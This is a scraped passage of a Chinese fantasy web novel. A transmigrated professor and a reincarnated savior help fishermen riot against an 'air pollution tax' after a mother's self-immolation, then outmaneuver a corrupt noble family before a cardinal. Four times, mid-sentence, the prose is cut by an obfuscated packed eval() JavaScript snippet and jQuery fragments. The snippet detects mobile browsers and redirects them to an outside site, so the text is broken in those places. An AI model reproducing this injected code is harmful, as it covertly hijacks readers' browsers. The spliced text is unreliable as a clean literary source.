这似乎有点效果。救世主安静凝望着低矮的天花板上那些被烟熏黑的污渍,风柔软得堵住了一切杂音,只有两人的心跳声,一个沉稳无波,一个急促杂乱。但是渐渐的,那些不安的、如受伤野兽般的颤抖在他的胸口慢慢停息,对方紧皱的眉头也松开了些许。 救世主和反派之间的单向沟通曾仅有一封定期出现在他床头的、连落款都没有的信。那个人潜伏于只言片语,隐现于文辞造句,藏匿于他人敬畏忧惧的眼神,他是不祥的噩梦,是愤怒、痛苦与屈辱,是诘问他本源的神,是荒芜冰冷的月亮。 而现在他的宿敌却是如此的单薄、脆弱,而且触手可及,仿佛随时都会死去,唯有那微温的灵魂还在慰藉着他的心口——而人的灵魂是无从改变的,那些微温的温度曾在他的剑下流逝,那时的他却甚至不懂其中标注好的价格几何。 阿祖卡挑起一旁散落的毯子,将人重新裹住。另一人的气息已经彻底平静下来,手指放松地滑落在他的臂弯上。当他松开眉头阖上眼时,人们才会惊奇地发现,黑发青年确实是个容貌出色的年轻人。对方常年带着仿佛独立存在于另一个无法触碰的空间的、偏执古怪的冷漠,偏偏眼睛安静下垂的弧度,奇异地显露出孩童般的天真无辜。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14425370|153688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他该松手了,对方那不知名的疾病发作已经隐去,继续这样抱着人不太合适,涉及人际交往距离与礼貌问题——但是他没有。 他只是安静地、如同拥抱一个孩子般拥抱着他的宿敌,他的谜题,他的……教授,直到晨曦透过破裂的门缝,将怀中人的面容分割出清晰的明暗交界。 …… 诺瓦再一次睁开眼时已经天光大亮,他以为自己会腰酸背痛,浑浑噩噩,但是竟然还不错——除了手脚有些发麻外精神意外得好。 阿祖卡在整理行李,见他醒来,便给了他一个明亮耀眼的温柔微笑。 “早上好,教授。”神眷者的心情似乎很不错:“昨晚睡得好吗?” “……早上好,还行。”诺瓦面无表情地移开眼。 船长夫妇一个在煮鱼,一个在缝补渔网。小玛莎已经醒了,坐在床上胆怯而好奇地望着家里两个漂亮的陌生人,手里小心翼翼地攥着属于神眷者的薄毯。 这个时间点,渔民们本该早已打鱼归来,好鱼货已经抢购一空,只剩下些次等货供附近居民讨价还价。 但是鱼尾街此时安静得可怕,没有船笛的呜鸣,没有来往的人声,没有吆喝与争执——直到一声令人毛骨悚然的凄厉惨叫划破满是鱼腥味的空气,然后是一阵此起彼伏的惊呼。 斯卡波船长腾得一下站了起来。 “我去看看,你们呆在家里。” 阿祖卡走到教授身边,忽然眯起了眼睛。只见船长出去了没多久,然后又回来了。他关上门,脸色煞白一片,用一种瘆人的眼神怔怔地瞪着屋内众人,嘴唇哆嗦了几下。 “外面怎么了?”船长妻子不安地问。 “……是班尼的女人洛斯,”斯卡波船长低声说,他看了眼小玛莎,上前捂住了女孩的耳朵:“她抱着孩子,用火点燃了自己,就在街头。” 班尼就是几天前被治安官带走的搬运工,家里只有妻子和尚在襁褓的儿子。 “我看见他们已经躺在地上不动了,焦黑一片,浑身都是烧焦鲸脂的臭味——我想他们死了。” “哦我的海神——”船长的妻子猛得捂住了嘴,眼泪顿时涌了出来。 被火烧死对于海神的信徒来说,是最可怕的死法。海神欧德莱斯憎恶火神法尔,极端虔诚的信徒在不得不开火前甚至会先进行祷告。很多辖区会将抓到的海盗处以火刑,因为传说被火烧死的海神信徒,其灵魂会被困于海底的岩浆中,永远无法得到安眠。 一个海神的信徒选择自.焚只有一个原因——她要诅咒某个人,以灵魂永恒焚烧为代价。 人群涌上了鱼尾街。他们如蚁群般沉默地挤在一起,里三层外三层,包围着那两具紧紧相拥、一大一小的焦尸。除了惨叫,这对母子没有给世界留下任何只言片语,但是所有人都知道对方在诅咒谁。 “——和他们拼了!” 人群中,不知是谁爆发出了第一声怒吼。 20. 总署 人群涌动,愤怒的响应声此起彼伏,直至形成一片震耳欲聋的咆哮与呐喊。 很快有人从家中取来鱼叉、扳手、撬棍之类的硬物,加入愤怒的人群中,如闪着寒光的水滴汇入河流——而这条河正朝着港口治安总署的方向狂暴奔腾。 “为班尼一家的死要个说法!” “不要见鬼的空气脏污税!” “——取消那群狗.娘养的赋税权!” “教授。”阿祖卡微沉下脸,按住了黑发青年的肩:“这样出去太危险了。” 一个穿着打扮与鱼尾街人截然不同的陌生人,对上因悲愤而丧失理智的人群,极有可能发生些不可预料的事。 斯卡波船长也回过神来:“教授先生,您呆在这里就好,千万别出去!” 黑发青年避开神眷者的手,侧身靠在拐角,冷静而锐利地盯着从门口一道道闪过的人影。 “因为曙光庆典的缘故,港口海军和治安总署最近神经紧绷,”他冷淡地回答:“失去理智的暴动平民对上严阵以待、拥有魔光炮和枪.支的正规军会发生什么?” 驱逐、镇压,污名化,然后是单方面的屠杀、大批量的伤亡。 血腥无比的惨剧。 诺瓦·布洛迪是个冷漠的人,不在乎很多东西。但是如果只要出示身份也许就可以平息这场纷争,救下一些人命,哪怕只是出于傲慢与虚荣心,为什么不去做呢? 见鬼的贵族,他毫不留情地嘲笑着自己,一边说不需要,一边又依靠这层皮作威作福。 ——这一切本不该出现。 他随手拿起船长家里的破衣服,准备往身上披:“而且我本身就要去趟治安总署,我需要他们帮忙联络白塔大学——别冲我皱眉,我不是鲁莽的蠢货。” “……” 神眷者盯着黑发青年的侧脸看了一会儿,忽然无奈地叹了口气。 “请过来一下——没有阻拦您的意思,但是我们需要做一点准备。”他将声音放得温和了一些。 诺瓦不明所以地走近对方,却见人在他面前挥了一下手,轻声念了几句,随后有一阵温柔的风拂过脸颊。 没有闪着光芒的法阵和咒文,没有任何游戏或影视中的施法特效——结果斯卡波船长忽然迷茫地朝着他们的方向张望。 “等等,教授呢?”他紧张兮兮地问,那语气就像发现猫突然自己偷溜出去:“我的海神呐,他该不会已经出去了吧?!” 眼见斯卡波船长马上就要破门而出了,神眷者拉住不明所以的诺瓦,举起他的右手晃了晃——蠢透了,教授立马开始瞪他——微笑道:“别担心,教授还在这里。” “什——家里怎么突然多了个人?!” “一点混淆认知的小把戏。”望着黑发青年爆发出精光的、几乎写满了“我很感兴趣”的眼睛,阿祖卡优雅地微微颔首,那模样就像个成功施展戏法的魔术师。 前世,萨曼家族和港口海军联合前往阿萨奇谷屠杀纳塔林人,港口军备松懈,阿祖卡没有听说过灰桥港曾发生大规模镇压暴动的事——也许是治安总署的注意力在其他地方,没有提出堪称“最后一根稻草”的“空气脏污税”,也许是鱼尾街人的反抗逼得他们选择了妥协。 故事线出现了微妙的变动,幕后之人也许会因此露出端倪。不管出于哪一方面的考虑,他都该跟去看看。 …… 灰桥港治安总署署长尼特·萨曼最近心情相当愉悦。曙光庆典举办得很成功,那位来自辉光教廷的大人物似乎很满意,连带着萨曼家族的家主,巴特菲尔德·萨曼将军都心情好了不少。他趁机向人诉苦为了举办曙光庆典日夜巡逻花费了不少钱财和人力,结果对方大方地交给他盖了印章的文书,让他负责追缴税款。 只要事情办得漂亮,还愁没有油水么? 流淌着尊贵银色血液的贵族是有免税特权的,自带封地的贵族甚至还拥有一部分辖内赋税权,只要王权议会审议通过,就可以调整封地的税收政策。 举办庆典费钱?那就多提税目,增加税率,花样多得是。那些贱骨头不榨一榨,还真不知道能榨出来多少油水。 不过最近手下人报告居然有贱民胆敢反抗,和治安队发生了冲突——尼特·萨曼倒不太担心,贱民懦弱又愚蠢,只要把强出头的抓走处死,其余人就会温顺如绵羊。 况且治安队的枪和海军的魔光炮可不是吃素的——特别是魔光炮,据说一发炮弹和一位光系使徒术士的全力一击威力差不多。 那可是从王城流传出来的,虽说萨曼家族常年镇守银鸢尾帝国西极点,也算是边境驻军。但是灰桥港三面环海,像陆地探入海洋的鞋尖,边界之外只有无边无际、变幻莫测的危险海洋,除了海盗,压根不需要多加防备。要不是托那位大人物的福,他们很难有机会装备这种宝贝。 “署长大人!出事了!”副手突然气喘呼呼地闯了进来,尼特·萨曼眉心一跳,一脚踹在手下的膝盖上,将对方踹了个踉跄。 “慌慌张张得做什么?一点样子没有!” 副手顾不得叫痛,忙不迭地回答:“鱼尾街那群贱民真得暴动了,好多人向着治安署的方向涌来,大概有一百多人、不,二百多人——他们手里还拿着武器!” 尼特·萨曼顿时大怒:“一群不知感恩的东西,他们怎么敢的?!那位大人可还没离开灰桥港——现在都有谁知道了?” “附近的居民都知道了,他们一路顺着主路的方向过来的!” 尼特·萨曼脸上的肥肉抖了抖,他深吸了口气:“传令下去,让治安队驱散他们,胆敢反抗就直接开枪,如果这样都不能把他们赶走——那这附近的海盗可真是有够猖狂,居然敢围攻治安总署!” “是!” 副手心领神会地转身就走,却又被叫住了。 “等等,”尼特·萨曼被肥肉遮掩的细长眼睛里闪烁着残暴的精光:“调度一架魔光炮大概需要多长时间?” ——对付一群胆大包天的“海盗”,正好可以测试下魔光炮的威力。 治安总署外已经彻底被暴怒的人群包围了,持枪的治安官们神情紧张,他们想要找个带头闹事的杀鸡儆猴,偏偏映入眼帘的、每一张肮脏粗鄙的脸上,都是如出一辙的愤怒。 阿祖卡护着教授,如游 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14425371|153688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鱼般来到人群前方,其余人只隐隐感到自己似乎被风拂过,扭头看去却只能瞧见同伴的身影。 “您打算怎么做?” 他垂眼望着将半张脸隐藏在脏兮兮斗篷兜帽下的教授——对方硬要带的,说是以防法术失灵,还想往他头上披,遮住那头耀眼至极的金发。 来自唯物主义世界的异界来客天然对魔法怀有警惕心理,被质疑实力的救世主大人稍微有点不高兴,但是表面上没有显露分毫,只是微笑着拒绝对方的提议。 他不会让那种东西碰他的头发的,绝不。 “萨曼家族,家主巴特菲尔德·萨曼侯爵,也是港口海军的将军之一。”诺瓦迅速回想了下那张错综复杂的贵族关系网:“港口治安总署背后是萨曼家族,我只是一个子爵的儿子,还是个普通人,人微言轻,他们很有可能把我送走再屠杀平民,将反抗的人污蔑为流寇或海盗。” “所以单单表明贵族身份是不足以平息纷争的——但我还是白塔大学的神学教授,是辉光教廷的客人,再加上今年就是十年一度的神史发行年,辉光教廷那群人会尽量避免在这个节点和奥肯塞勒学会名下的白塔大学神学院产生冲突。” “至于萨曼家族……”黑发青年冷笑了一下:“当年他们是因为政治斗争失败才驻守灰桥港,相当于被流放。说是侯爵,但是待遇远远比不上中心城区的小贵族。巴特菲尔德·萨曼急切想要重归王城,他必然会讨好辉光教廷——魔光炮就是近年来辉光教廷给他的反馈之一。据说这次曙光庆典会有一位来自王城教廷的枢机主教出席——很奇怪,辉光教廷似乎对此有些过于重视,个人建议注意那位枢机主教——萨曼家族不至于因为这点事就落对方面子。” 阿祖卡听得很专注,他当年没少被这种东西折磨,但是少有人能像教授这样揉碎了掰开来讲——原来他的宿敌对人心的恐怖把控能力和堪称预言般的行事风格是这样来的么?他忽然有种见证历史的奇妙观感。 “现在局势很清晰了。”教授竖起了三根手指:“第一,抢在治安总署之前为这场暴动定性;第二,亮明贵族和学者身份,要求他们帮忙联系白塔大学神学院;第三,逼迫对方取消‘空气脏污税’,释放被捕平民。最坏情况,如果谈判失败……一位应邀而来的神学教授死在灰桥港,绝对算挑衅,我们只要——” 神眷者忽然打断了他的话。 “您又想要把自己的性命压上去当筹码么?” 他的声音很轻柔,但是仔细深究却能发觉令人胆寒的隐隐怒意。 “……我说了,我不是什么大人物,只是个普通人,也就能靠这个逼迫对方权衡利弊罢了。”诺瓦眨了眨眼睛,莫名其妙地看着他:“况且我又不是真要去送死,肯定是先进行谈判的,这是最极端情况下的保底方案,发生的可能性非常低——再说了,根据我们的交易,你不是会保护我么?” “我分析的时候请别打断我,太不礼貌了。”他有些不满地责备道:“还有一点,你们怎么都对这种方式有偏见,明明很好用。” 这是无赖的招式,不要脸,但很适合他这种压根不在乎名声也不追求仕途的疯子。 21. 主教 另一人看着他,忽得神情软了下来。 “……是的,您还有我。”他轻声说,站在黑压压的人群中,有风穿过炙热滚烫的阳光,将树叶吹得沙沙响。 “但是您可以……再多利用我一点。” 教授调整了下兜帽的边缘,抬起头来看了他一眼。 “好吧,巫师先生。”他说:“给我一个‘声音洪亮’。” 银鸢尾帝国的前·救世主当然不认识某位疤头救世主,也没听懂什么是巫师,什么是“声音洪亮”——但是从字面意义上还是可以理解的。 于是人群嘈杂混乱的咆哮、斥骂与尖叫渐渐变成了一个声音,很快凝聚成了整齐划一、且有节奏的口号。 “鱼尾街要什么?” “——空气免费,呼吸无罪!” 声浪响遏行云,震得治安总署的玻璃窗都在哗哗响。远处的居民从窗口探出身来朝着这里张望。发生了什么?他们交头接耳,还有不少胆大的居民汇入了人群中,狂怒的队伍越来越庞大。 阿祖卡神情莫测地看了一旁的黑发青年一眼,那人已经紧闭了嘴唇,神情冷漠,丝毫看不出对方刚才脱口而出的是和周围人一模一样的口音,闭上眼来听,简直就是一位在这片土地上生长了几十年的渔夫。 “……这群肮脏的、下贱的刁民!” 尼特·萨曼站在三楼办公室的窗户前咬牙切齿,这么大的动静,只要不是聋子,都会知道这里发生了什么。 “魔光炮还没调过来么?”他暴躁地冲着下属发火。 “报告署长大人,已经在催了!但是运输过来还需要一定时间……” “废物!”他恨恨踹了下属一脚,不顾对方躺倒在地捂着肚子抽气,拿起望远镜仔细观察着情况,满是油汗的脸突然露出了惶恐的神情。 “等等!那、那是……” 治安总署门口,挡在愤怒的人群前的治安官简直苦不堪言。他们有心开枪,但是无论瞄准哪个,对方都毫无惧色,感觉一旦开枪,周围人就会挥舞着武器扑上来,把他们撕成碎片。终于,有个年轻些的治安官忍无可忍,对准了人群就准备扣动扳机,但是不知怎的,扳机无论如何也按不下去,就像卡住了一样。 “明光照耀。” 就在这时,一道优雅低沉的声音穿透了人群,随后治安官的眼前忽得被一片刺目的雪亮笼罩,顿时激得他下意识丢下枪,哀嚎着去捂眼睛。 鱼尾街人和治安官都彻底陷入了一团庞大刺眼的光团中,惊恐的尖叫声阵阵,刚才阻止治安官开枪的阿祖卡皱了皱眉,手疾眼快地捂住了身旁教授的眼睛,自己眯起眼睛注视着街道尽头突然出现的金色身影。 站在最前方的人身披金白为主色的丝质长袍,其上缀着各色宝石,袍尾绣着优雅盛开的黄金百合,披肩上为交叉的双枪。对方头戴金质教冠,手持华美权杖,面容俊朗,一双绿眼睛温和而威严。 阿祖卡认出了对方的身份——辉光教廷五位枢机主教之一,也是最年轻的枢机主教,帕瓦顿·米勒,几年后对方是最有竞争力的教皇候选人之一。 米勒主教身后约有十余人,大多是辉光教廷的教士,此时他们正冲着光团消失后七倒八歪呻.吟阵阵的混乱人群皱眉,但是碍于枢机主教没有开口,没人敢发表意见。 尼特·萨曼几乎是连滚带爬着摔下楼的,当他瞧见枢机主教身旁正是脸色难看的萨曼家主,差点眼前一黑晕过去。 “我的光明神呐,”他艰难挤出一个谄媚的笑脸:“真是蓬荜生辉,米勒阁下,您怎么有心情来这里——” 然后他瞧见萨曼家主从牙缝里冲他无声地挤出几个字:“闭嘴,蠢货。” “光明与你我同在。”米勒主教优雅地微微冲他颔首:“这里发生了什么?我听见有人在喊……空气免费,呼吸无罪?” 尼特·萨曼支支吾吾,豆大的汗珠从他的额头上渗出。这种时候再说海盗那一套拙劣托词简直是在戏耍对方,萨曼家主都能撕了他。 “一群被有心人煽动的平民罢了,仁慈的阁下,请您不必费心挂怀,萨曼家族一定会完满解决的。”最后瞪了尼特·萨曼一眼,巴特菲尔德·萨曼重新将视线投向那群因瞧见辉光教廷的教士后挤成一团、踯躅不前的平民,不由厌恶地皱起眉。 真是……碍眼。 枢机主教若有所思:“有心人?萨曼阁下,在您的封地里难道有逐影者的行踪么?” 逐影者,一只近期在银鸢尾帝国异军突起的反叛组织,他们藏匿于民间,喜欢和当地贵族和教廷对着干,神出鬼没,十分难对付。 巴特菲尔德·萨曼顿时大惊:“什、不不不,米勒阁下,我的封地怎么会有这般亵渎的存在!之前我们为了举办曙光庆典,因此对商会加收了一点点脏物处理费用,结果这群愚蠢的平民大概是被那些贪婪的商人迷惑了,误以为要对空气收税,这才跑来抗议——我们怎么会对空气收税呢?” “不对!” 一个声音忽然从人群中传来,眼见从未见过的大贵族和主教都朝他看来,那个年轻的渔民有些畏缩,但依旧鼓起勇气站上前来:“治安官跑来我们鱼尾街,说是气味难闻,都是鱼腥味,要收一笔高昂的空气脏污税——尊贵的老爷们,我们可都是靠打鱼为生的,家里怎么可能没有鱼腥味呢?” “对啊,没错。” “这太过分了!” 他的周围渐渐有了零散的支持声。 “撒谎!这些贱民嘴里没一句真话!”满心想着戴罪立功的尼特·萨曼立马跳了出来:“各位尊敬的阁下,众所周知,这些渔民的血管里流淌着来自海盗的肮脏血液,他们最擅长的事就是偷盗和欺骗,您怎能听信这样一群人的话呢?” 附近的渔民和海盗确实在某种程度上算是同根同源——有部分实在活不下去或好吃懒做品行败坏的渔民会加入海盗团,摇身一变,仗着熟悉附近航路洗劫商船或渔船为生。 “我不是海盗!”年轻渔民的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14425372|153688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸顿时涨得通红:“我是个做正经营生的人!” 尼特·萨曼冷笑:“好啊,你说治安官来找你们收税,你有什么证据?目击证人可不算,你们这群人敢对着海神发誓,家中三代、邻居和朋友还有朋友的朋友里没有一个海盗?” 对方顿时说不出话了,张口结舌地嗫嚅着。 尼特·萨曼大获全胜,他阴冷地看了那愣头青一眼,暗中记下对方面孔。 “所以这人只是在撒谎,其他人大概是因为愚蠢被欺骗了——治安官!把他抓起来!”巴特菲尔德·萨曼总结道。 他又朝着米勒主教低下头来:“阁下,真是抱歉让您看了场闹剧,不如让我们离开这里,灰桥港有一种味道鲜美且异常珍贵的深海贝,其他地方难得一见……” 一个毫无波动的声音打断了他。 “请问我够格当目击证人么?” “您是……?” 米勒主教有些惊讶地望着那个披着一条陈旧斗篷,被兜帽遮住了大半张脸的高挑青年,他身后那些恭敬站立着的随从中的一人猛地抬起头来,震惊地瞪着来者。 “……堂哥?” “诺瓦·布洛迪,爱德蒙·布洛迪子爵之子。向您致敬,无尘之光。” “无尘之光”是信徒为这位枢机主教奉上的称号。 来者掀开了兜帽,露出了苍白冷淡的面容,一双令人印象深刻的烟灰色眼睛平静地撞上了枢机主教的绿眸。虽说衣着堪称灾难,但对方依旧身姿挺拔,举止优雅,丝毫未显年轻人面对上位者时应有的恭顺或局促。 “布洛迪……”米勒主教沉吟了一会儿,微笑着侧头问道:“我记得随侍的学生中也有一位布洛迪先生?” 那位教士恭敬地低下头:“是的,阁下,波西·布洛迪先生,圣巴罗多术士学院二年级首席,是前来随侍的学生之一。” 随侍就是指部分优秀学生有机会和辉光教廷实权人物进行接触,聆听其教诲,也算是一种奖励。 “哦,那确实是一位少年英才。”米勒主教不置可否地点了点头:“小布洛迪先生,这个巧合真是奇妙,不是么?” 明明得到了期待已久的与枢机主教对话的机会,波西·布洛迪却脸色难看。他低下头,努力遮掩住自己的异样表情:“没错,阁下……我也不曾想到会在这里遇见我的堂哥。” 巴特菲尔德·萨曼迅速反应过来,咀嚼了一下这个姓氏,玩味地问道:“那么这位……布洛迪先生,您想要证明些什么呢?” 诺瓦觉察到身边人的手指动了动,他皱了下眉,借着斗篷的遮掩,飞快地抓住了对方的手。 别冲动,他在那人手心里小幅度地写道。 他理解灭族仇人就在眼前,对方急切想要报复的心理。虽说这家伙在枢机主教以及十多位贵族和教士面前,依旧能令他们瞎如蝙蝠,愣是瞧不见一个光辉灿烂的大活人,这让他对“小把戏”的威力有了点新认知——但是现在动手可不是什么明智选择。 22. 把戏 教授的掌心有些单薄,但指骨修长,很适合执笔。对方依旧戴着那条半旧的鹿皮手套,摸上去是一层细密短小的绒毛,因缺乏保养变得有些粗硬干涩,刺得手心痒痒的。 阿祖卡忍不住用了点力气回握,人的体温终于慢慢从掌心里渗了出来,而对方居然容忍着没有挣脱——也许是担心他正陷入悲愤中无法自拔,会做出些不理智的事? 救世主无意解释这个误会。他是个睚眦必报的人,前世萨曼家族的下场几乎是禁词,所有人对此噤若寒蝉,而神眷者本人却能微笑着谈起童年的一切。 “你这家伙看着温柔可亲,说不好是我们中最可怕的一个。”奥雷曾这样评价他:“小心眼又恶趣味,别人都不知道哪里惹到你,结果突然倒大霉,还联想不到你身上去。” 当时他只是微笑以对,第二天对方就莫名其妙咬了舌头,还吃了满嘴最讨厌的火椒。 咳,那时年轻气盛,现在的救世主比年轻时脾气好了不知道多少,甚至对上某些脏东西时还能淡然处之,没有把他们撕成碎片。 脏东西一号正在对他的教授嗤之以鼻:“受邀而来的神学教授遭遇海难,坐在货箱里漂流至海岸又被鱼尾街人搭救,于是知恩图报,挺身而出对抗邪恶治安官——布洛迪先生,您在写剧本么?什么时候出演的话请务必告诉我,看在您堂弟的份上我一定捧场。” 教授立即反唇相讥:“萨曼侯爵,您可以问问您的海事官,近期拉曼达斯气压带北移,海上飓风多发,已经有多条航路被迫封锁,但仍有不少船只永远地消失在海上——我于恐惧的祈祷中得到海神欧德莱斯的眷顾,在夏初季风与西岸洋流的帮助下一路漂流至灰桥港附近海岸。如果您需要的话,我甚至可以为您展示在货箱里被海浪撞出的伤口。” 他十分气人地微微抬起下巴,语调是贵族一贯的优雅冰冷:“我不明白您为何要对一位同样流淌着尊贵银色血液的贵族的死里逃生加以嘲讽,但我愿意相信,这只是源于相关知识的匮乏,而不是缺少对于同血缘者的良善之心。” 萨曼侯爵顿时被气得脸色发黑,还要碍于米勒主教的在场不得发作,只得皮笑肉不笑道:“年轻人就是脾气直,伶牙俐齿的。” 他提高了声音:“那么,是哪位勇敢的水手救起了辉光教廷的客人?请站出来,他需要得到特别嘉奖。” 鱼尾街人面面相觑,光看萨曼伯爵的黑脸,所谓“特别嘉奖”恐怕不是什么好事,诺瓦瞧见斯卡波船长站在人群中,忧虑地注视着他,已经准备走上前来。身旁的神眷者似乎老实了,他不动声色地松开手,面无表情地回答道:“阁下,他不是一位水手,而是一位善良的搬运工。” 米勒主教饶有兴趣地接茬问道:“哦?那么这位搬运工现在在哪?” 萨曼伯爵忽然诞生了不妙的预感,但是他无法操控黑发青年的口舌:“很不幸,当时我因高热昏昏沉沉,他为了替我买药无钱交税,与治安官争执了几句便被称为‘暴民’,恐怕已经死在了牢狱里。而他的妻子洛斯抱着尚在襁褓的儿子因绝望自焚,鱼尾街的尽头甚至正留存着一大一小两具焦尸——这就是我站出来的原因。” 围观的人群顿时骚动了起来。 “班尼?”一名码头搬运工嚷道:“怪不得几天前他偷偷从海边捡了个大货箱,我问他里面有什么,他却不告诉我。” 另一人接口道:“没错,他还去买了不少药,好像是说妻子生了病。” “他不知道我的真实身份,担心我是被仇家所害,这才一直隐瞒我的存在——可是如此善良淳朴的人却被治安官污蔑为‘暴民’,妻子惨死街头。”布洛迪先生的声音格外低沉,平静无波的讲述却显露出极为悲怆的感染力:“米勒阁下,光明神叫我们谨记恩情,灭杀那些恩将仇报之人,我又怎能踯躅不言,眼睁睁瞧见我的恩人一家被贪婪卑鄙的走狗所害呢?” “——我以诺瓦·布洛迪之名宣誓,我接下来所说的一切皆为亲眼所见。灰桥港治安官强征毫无依据可言的空气脏污税,将无钱交税的平民逼为妓.女和矿奴,稍有异议便直接抓走处死,间接导致一对无依无靠的可怜母子因绝望自焚——于是鱼尾街人的愤怒终于响彻此地。” 如此惊心怵目的惨剧触动了在场所有人的心弦,附近远远观望的居民都躁动起来,有人已经忍不住对着治安官破口大骂。 “畜牲!” “真是无耻!” 尼特·萨曼尖叫起来:“你撒谎!” 他气急败坏地一把扯过一旁治安官的衣领:“你们说!去抓那些带头闹事的暴民时有没有瞧见他?!” 几个手下惊恐地摇着头:“署、署长大人,天太黑了啊,我们也没看太清啊——” 不过是挑些看起来强壮的汉子抓走应付差事罢了,他们甚至不知道班尼是哪一个。 “蠢货!”他恶狠狠地推开对方,喘着粗气,在瞧见萨曼家主的冰冷眼神时顿时脸色煞白。 教授好整以暇地提醒了一句:“如果班尼还活着,他便能亲口诉说自己遭遇的一切冤屈——我是如此希望他还活着。” 此时此刻的尼特·萨曼也如此希望对方还活着——但是没有“如果”了,之前抓走的那批“暴民”已经全部在牢里断了气。 “光明与荣耀之神泽菲尔的光辉照耀着银鸢尾帝国的每一位子民,”米勒主教将权杖在地上重重一顿,神情变得严厉起来:“吾神曾言,任何人都有资格赞美光明赐予其的一切,教皇冕下为确保这一点时常忧心竭虑,嘱咐我们以恩慈待人,众人皆要循其旨意——萨曼阁下,我想连空气都要征收税费可绝非良策,因而逼死一位义人更是骇人听闻。” 萨曼伯爵脸色铁青,就在这时,几个治安官正推着一架魔光炮一路小跑而来,瞧见这幅僵持的景象时顿时停下了脚步,不知所措地看着上司。 “署长大人,这……” 顿觉不好的尼特·萨曼没等旁人开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14425373|153688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口,便上前重重将一人踹倒在地:“胆大包天的东西,你们怎么敢偷运魔光炮?” 那人不明所以地躺在地上求饶:“这不是您要求的么?说是要用魔光炮对付海盗……” 眼见就连辉光教廷的教士看他的眼神都越发不善,尼特·萨曼忍不住哀嚎道:“各位大人,我这可是按规矩办事,空气脏污税是得到王——” “够了!”巴特菲尔德·萨曼忍无可忍地重重一甩手,他是高级使徒武者,尼特·萨曼顿时横飞出去,脑袋砸在台阶上,一声不吭地晕了过去。 “也怪我识人不清,竟轻信了一个欺上瞒下、残暴狡猾的卑鄙小人!”他严肃地对着米勒主教的方向微微俯身:“阁下放心,所谓‘空气脏污税’一定会被废除,尼特·萨曼必会受到来自法庭的公正审判。” 人群顿时雀跃起来,“赞美光明神”“赞美萨曼伯爵”之类的欢呼声此起彼伏。 “真是……叹为观止。” 已经重新带上兜帽的教授听见有人在他耳边带着笑意赞叹。他神情不变,只是从齿缝间挤出一句:“青天大老爷的戏码,人人都爱看,不是吗。” 虽说不知道什么叫“青天大老爷”,但阿祖卡也会意了大半,他轻声问道:“我很好奇,您是如何得知班尼几天前在海岸边捡到了大型货箱?” 教授微瞥了他一眼:“您一定要在这个时候问我?” 枢机主教和萨曼伯爵还在那杵着呢,不知道前者说了些什么,后者脸色越来越难看,还强逼着自己陪笑脸,整张脸显得丑陋而滑稽。 另一人放软了语气:“他们听不见我们之间的谈话,教授,我保证。” “……好吧,蓬蓬草。”黑发青年面无表情地说。 “唔?”对方发出了一个好奇的鼻音。 教授的语速很快,需要聚精会神才能听懂,稍微一走神便成为了连贯且无意义的单词:“班尼家附近散落了大量的蓬蓬草,而这种晒干后蓬松柔软的廉价干草只有在巴塔利亚高地才会生长。灰桥港附近的商船一般会填充海藻来减震,只有远道而来的商船装载易碎的珍贵货物时才会大量使用蓬蓬草,从而导致货箱远比真正的货物大。那些干草已经析出了海盐,但未彻底蓬松,说明从海里捞出来的时间并不长——对方大概是捡到了遭遇海难的商船飘至岸边的货箱,身为码头搬运工他很熟悉这些填充物,知道里面有珍贵的无主货物,他的妻子突发眼疾,无法外出工作——看药渣和被封住的窗户裂缝——所以他会悄悄拉走,希望能为妻子换些药钱。” “那您是怎么知道班尼已经死在了监狱里,从而无人对证呢?” “第一,刚才我看见一个治安官的裤腿上有未洗净的喷溅状血迹,这种出血多为动脉血管破裂,不是简单的踢打能造成的。第二,我诈他的。 神眷者瞧见对方朝着他的方向飞快地笑了一下:“——如果班尼还活着,不是还有你的‘小把戏’么,万能的巫师先生?” 24. 拥抱 波西·布洛迪神情恍惚地离开了,走之前他着了魔般掏出身上所有零钱,口袋里一个子都没留。 诺瓦满意地数了数战利品,心中估算这些钱大概足以支付回程路上的开销,然后他便对上了一双美丽而奇异的蓝眼睛。 